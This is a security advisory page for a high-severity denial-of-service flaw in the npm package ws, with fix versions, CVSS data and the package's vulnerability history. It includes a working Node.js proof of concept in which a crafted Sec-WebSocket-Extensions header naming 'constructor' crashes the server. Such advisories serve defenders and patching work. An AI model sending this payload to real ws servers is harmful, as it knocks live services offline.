High

Denial of Service in ws

Disclosed: 04.06.2019
Updated: 11.10.2026 10:22

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	ws	>= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1	1.1.5, 3.3.1

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-400
Platform: npm
Package: ws
Disclosed: 04.06.2019
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5v72-xg48-5rpm - CC BY 4.0

Vulnerability history: ws

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 7
First → latest: 02.2019 06.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 4
Medium 2
Low 1

Disclosures per year

2019: 3
2020: 0
2021: 1
2022: 0
2023: 0
2024: 1
2025: 0
2026: 2

15.06.2026

ws: Memory exhaustion DoS from tiny fragments and data chunks

High · 7.5 CVE-2026-48779 >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 5.2.5, 6.2.4, 7.5.11, 8.21.0
18.05.2026

ws: Uninitialized memory disclosure

Medium · 4.4 CVE-2026-45736 >= 8.0.0, < 8.20.1 8.20.1
17.06.2024

ws affected by a DoS when handling a request with many HTTP headers

High · 7.5 CVE-2024-37890 >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 5.2.4, 6.2.3, 7.5.10, 8.17.1
28.05.2021

ReDoS in Sec-Websocket-Protocol header

Medium · 5.3 CVE-2021-32640 >= 7.0.0, < 7.4.6, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.2.3 7.4.6, 6.2.2, 5.2.3
04.06.2019

Denial of Service in ws this entry

High · 7.5 ghsa-5v72-xg48-5rpm >= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1 1.1.5, 3.3.1
18.02.2019

DoS due to excessively large websocket message in ws

High CVE-2016-10542 < 1.1.1 1.1.1
18.02.2019

Remote Memory Disclosure in ws

Low CVE-2016-10518 < 1.0.1 1.0.1

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